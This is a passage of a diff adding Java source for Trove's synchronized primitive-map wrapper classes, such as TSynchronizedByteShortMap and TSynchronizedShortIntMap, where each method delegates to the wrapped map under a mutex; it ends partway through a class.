+  public static class TSynchronizedByteShortMap
+    implements TByteShortMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TByteShortMap m;
+    final Object mutex;
+    
+    public TSynchronizedByteShortMap(TByteShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteShortMap(TByteShortMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(byte key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TByteShortMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteShortIterator iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(byte key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteShortProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteShortProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(byte key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(byte key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public short adjustOrPutValue(byte key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedByteCharMap
+    implements TByteCharMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TByteCharMap m;
+    final Object mutex;
+    
+    public TSynchronizedByteCharMap(TByteCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedByteCharMap(TByteCharMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(byte key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(byte key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(byte key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(byte key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Byte, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TByteCharMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TByteSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TByteSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedByteSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public byte[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public byte[] keys(byte[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TByteCharIterator iterator() { return m.iterator(); }
+    
+
+
+    public byte getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(byte key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TByteProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TByteCharProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TByteCharProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(byte key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(byte key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(byte key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortDoubleMap
+    implements TShortDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TShortDoubleMap m;
+    final Object mutex;
+    
+    public TSynchronizedShortDoubleMap(TShortDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortDoubleMap(TShortDoubleMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(short key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TShortDoubleMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortDoubleIterator iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(short key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortDoubleProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortDoubleProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(short key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(short key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(short key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortFloatMap
+    implements gnu.trove.map.TShortFloatMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TShortFloatMap m;
+    final Object mutex;
+    
+    public TSynchronizedShortFloatMap(gnu.trove.map.TShortFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortFloatMap(gnu.trove.map.TShortFloatMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(short key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TShortFloatMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortFloatIterator iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(short key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortFloatProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortFloatProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(short key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(short key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(short key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortIntMap
+    implements gnu.trove.map.TShortIntMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TShortIntMap m;
+    final Object mutex;
+    
+    public TSynchronizedShortIntMap(gnu.trove.map.TShortIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortIntMap(gnu.trove.map.TShortIntMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(short key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TShortIntMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortIntIterator iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(short key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortIntProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortIntProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(short key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(short key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(short key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortLongMap
+    implements TShortLongMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TShortLongMap m;
+    final Object mutex;
+    
+    public TSynchronizedShortLongMap(TShortLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortLongMap(TShortLongMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public long put(short key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TShortLongMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortLongIterator iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(short key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortLongProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortLongProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(short key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(short key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(short key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortByteMap
+    implements gnu.trove.map.TShortByteMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TShortByteMap m;
+    final Object mutex;
+    
+    public TSynchronizedShortByteMap(gnu.trove.map.TShortByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortByteMap(gnu.trove.map.TShortByteMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(short key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TShortByteMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortByteIterator iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(short key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortByteProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortByteProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(short key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(short key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(short key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedShortShortMap
+    implements TShortShortMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TShortShortMap m;
+    final Object mutex;
+    
+    public TSynchronizedShortShortMap(TShortShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedShortShortMap(TShortShortMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(short key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(short key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(short key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(short key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Short, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TShortShortMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TShortSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TShortSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedShortSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public short[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public short[] keys(short[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TShortShortIterator iterator() { return m.iterator(); }
+    
+
+
+    public short getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(short key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TShortProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TShortShortProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TShortShortProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(short key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(short key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
